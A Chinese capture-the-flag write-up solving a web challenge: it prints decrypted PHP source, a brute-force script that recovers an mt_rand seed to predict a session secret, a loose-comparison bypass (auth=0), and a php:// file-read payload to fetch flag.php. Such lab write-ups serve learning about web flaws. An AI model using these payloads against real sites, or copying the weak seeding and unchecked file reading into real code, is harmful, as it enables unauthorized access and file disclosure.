phpjiami/mt_rand/ 弱类型/preg_match

2017-12-07  本文已影响14人  ch3ckr

题目地址:http://a3ff80f015a34b59b1b70ab78271dcbbdad8b6e64cce4591.game.ichunqiu.com/
题目界面:

题目打开只有一个key,刷新一次,改变一次,抓包也看不出什么名堂。扫描一波备份/文件泄露,发现存在文件:

访问robots.txt可以得到一个code.zip压缩包,里面的经过了phpjiami加密。
解密: phith0n大佬做的一个phpjiami解密的docker镜像:https://hub.docker.com/r/vulhub/php-decrypt-eval/

解密之后得到源码:
index.php代码:

<?php
$seed = rand(0,99999);
mt_srand($seed);
session_start();
function auth_code($length = 12, $special = true)
{
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    if ($special) {
        $chars .= '!@#$%^&*()';
    }
    $password = '';
    for ($i = 0; $i < $length; $i++) {
        $password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
    }
    return $password;
}
$key = auth_code(16, false);
echo "The key is :" . $key . "<br>";
$private = auth_code(10, false);
if(isset($_POST['private'])){
    if($_POST['private'] === $_SESSION["pri"]){
        header("Location:admin.php");
    }else{
        $_SESSION["pri"] = $private;
        die("No private!");
    }
}    
?>

这里的考点是:mt_rand()产生随机数时,使用同一个种子,可以预测多次产生的随机数值。
代码流程:
首先产生一个16位的随机数,再产生一个10位的随机数并写入到session,然后需要post一个相等的10位随机数就可以进入下一层,即admin.php
所以解决办法就是先爆破通过16位的随机数爆破出种子,再通过种子生成一个10位的随机数,post进去即可。
爆破脚本如下:

<?php 
function auth_code($length = 12, $special = true)
{
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    if ($special) {
        $chars .= '!@#$%^&*()';
    }
    $password = '';
    for ($i = 0; $i < $length; $i++) {
        $password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
    }
    return $password;
}

for ($seed = 0; $seed < 100000; $seed++) { 
    mt_srand($seed);
    $key = auth_code(16, false);
    if($key == 'E5pepPzORiDnyuws')#key值自行修改
    {   
        echo $seed."\n".auth_code(10, false)."\n";
        break;
    }

}
echo "finish!";
?>

这样就跳到admin.php了,并且得到authAdmin参数的值。

admin.php代码:

<?php
if($_GET['authAdmin']!="***********"){
    die("No login!");
}
if(!isset($_POST['auth'])){
    die("No Auth");
}else{
    $auth  = $_POST['auth'];
    $auth_code = "**********";
    if(json_decode($auth) ==  $auth_code){
        ;
    }else{
        header("Location:index.php");
    }
}
?>

这里需要post一个auth参数使得json_decode($auth) == $auth_code即可进入下一层。
这里利用0==”str”的特性,传一个int型的0进去即可,即auth=0.

到了这里输入东西,点击按钮没有反应,查看源代码,发现一段js代码:

<script>
    $("#give").click(function() {
      filename = $("#filename").val();
      $.ajax({
        url:'file.php',
        type:'post',
        data:{'id':filename,'auth':'1234567890x'},
        dataType:'text',
        success:function(result) {
            console.log(result);
        },
        error:function(XMLHttpRequest, textStatus, errorThrown) {
            console.log(XMLHttpRequest);
            console.log(textStatus);
            console.log(errorThrown);
        }
      })
    })
</script>

file.php代码:

<?php
if($_POST["auth"]=="***********"){
    if(isset($_GET["id"]) &&  (strpos($_GET["id"],'jpg') !== false))
    {
        $id = $_GET["id"];
        preg_match("/^php:\/\/.*resource=([^|]*)/i", trim($id), $matches);
        if (isset($matches[1]))
            $id = $matches[1];
        if (file_exists("./" . $id) == false)
            die("file not found");
        $img_data = fopen($id,'rb');
        $data  = fread($img_data,filesize($id));
        echo $data;
    }else{
        echo "file not found";
    }
}
?>

所以这里尝试post一个auth=1234567890x,get一个id到file.php。
这里考察点是一个preg_match函数的使用,查询PHP官方文档,得知$matches[1]是将包含第一个捕获子组匹配到的文本,也就是正则表达式中第一个括号匹配到的文本,也就是这里的([^|]*)匹配到的内容,即匹配除|以外的任意字符串。所以要求id的值以“php://任意内容resource=要读取的文件”的格式传入才满足条件。
这里我们要读取flag.php,所以id传入php://jpgresource=flag.php就可以获取flag。

reference:###

上一篇下一篇

猜你喜欢

热点阅读